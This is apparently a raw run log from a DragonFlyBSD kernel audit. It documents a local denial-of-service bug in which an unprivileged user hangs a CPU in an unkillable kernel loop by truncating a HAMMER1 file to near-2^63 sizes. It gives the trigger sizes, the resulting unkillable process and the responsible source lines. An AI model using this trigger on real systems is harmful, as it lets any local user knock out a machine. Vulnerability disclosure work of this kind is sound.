DragonFlyBSD Kernel Audit
DF-2999 / run.log
← back to finding ↓ download raw
=== baseline (stock INVARIANTS kernel #0, guest DragonFly 6.5-DEVELOPMENT) ===
$ /tmp/op2999 /mnt/h1/maxx2999.bin      (as unprivileged user maxx, HAMMER1 on /dev/vn0)
extend  to 0x7ffffffffffff000: OK
pwrite top byte: OK
<--- second ftruncate(0x7fffffffffff8000) NEVER RETURNS

$ ps ax -o pid,stat,command | grep op2999
  1047 R4     /tmp/op2999 /mnt/h1/maxx2999.bin     <-- R4 = running on cpu, in-kernel loop

$ kill -9 1047 ; sleep 2 ; ps ...
  1047 R4     /tmp/op2999 /mnt/h1/maxx2999.bin     <-- kill -9 INEFFECTIVE (unkillable)
  1074 D5     rm -f /mnt/h1/maxx2999.bin           <-- second process on same vnode parks in D state

$ ls -la /mnt/h1
total 18014398509543426                            <-- directory total corrupted by 2^63-scale va_size

guest load: one cpu permanently 100% in nvnode_pager_setsize unmap loop
(sys/kern/vfs_vm.c:486-495 from hammer_vop_setattr -> nvtruncbuf at
sys/vfs/hammer/hammer_vnops.c:2269)